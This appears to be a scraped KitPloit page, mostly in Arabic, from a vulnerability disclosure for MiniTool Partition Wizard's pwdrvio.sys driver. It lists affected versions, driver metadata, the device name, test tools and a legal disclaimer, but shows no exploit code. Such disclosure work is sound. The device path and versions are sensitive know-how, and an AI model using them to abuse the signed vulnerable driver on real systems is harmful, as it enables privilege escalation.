MiniTool Software:``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes

root@kitploit:~
**أدوات الاختبار:**```
WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

الإصدارات المتأثرة

مؤكدة كضعيفة

المنتج الأساسي:

  • MiniTool Partition Wizard 13.5
  • جميع الإصدارات السابقة التي تستخدم pwdrvio.sys

تفاصيل برنامج التشغيل:``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)

root@kitploit:~
### المتأثرون المحتملون

منتجات MiniTool الأخرى التي قد تستخدم نفس برنامج التشغيل:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker

**ملاحظة:** يجب اختبار كل منتج على حدة للتأكيد.

### توافق أنظمة التشغيل

**تم اختباره وتأكيد تأثره:**
- Windows 10 Home Build 19045.6466 (x64)

**السبب:** برنامج التشغيل متوافق مع جميع إصدارات Windows الحديثة ولا يحتوي على أي فحوصات خاصة بإصدار معين.

## إخلاء مسؤولية قانوني
يُقدَّم هذا المستودع لأغراض تعليمية وبحوث أمنية دفاعية وإعادة إنتاج الثغرات في بيئات معملية خاضعة للتحكم فقط.
المعلومات ورمز إثبات المفهوم مخصصة لمساعدة المدافعين والباحثين والموردين على فهم الثغرة المُبلَّغ عنها ومعالجتها.
قد يشكل الاستخدام غير المصرح به أو الخبيث لهذا الرمز ضد أنظمة دون إذن صريح انتهاكًا للقوانين واللوائح المعمول بها.
لا يشجع المؤلف النشاط غير القانوني ولا يتغاضى عنه، ولا يتحمل أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه المادة.

يُقدَّم تقرير الإفصاح عن الثغرة هذا من أجل:
1. البحث الأمني والتعليم
2. إشعار المورد وتطوير التصحيحات
3. حماية المستخدمين النهائيين
4. الأغراض الأكاديمية والأمنية الدفاعية

**الاستخدامات المحظورة:**
- الوصول غير المصرح به إلى أنظمة الكمبيوتر
- الاستغلال الخبيث
- أي نشاط غير قانوني

أجرى الباحث جميع الاختبارات على أنظمة مملوكة شخصيًا في بيئات خاضعة للتحكم. لم يتم تنفيذ أي وصول غير مصرح به إلى أنظمة أطراف ثالثة.

**إصدار التقرير:** 1.0  
**آخر تحديث:** 9 فبراير 2026
تنزيل الأداة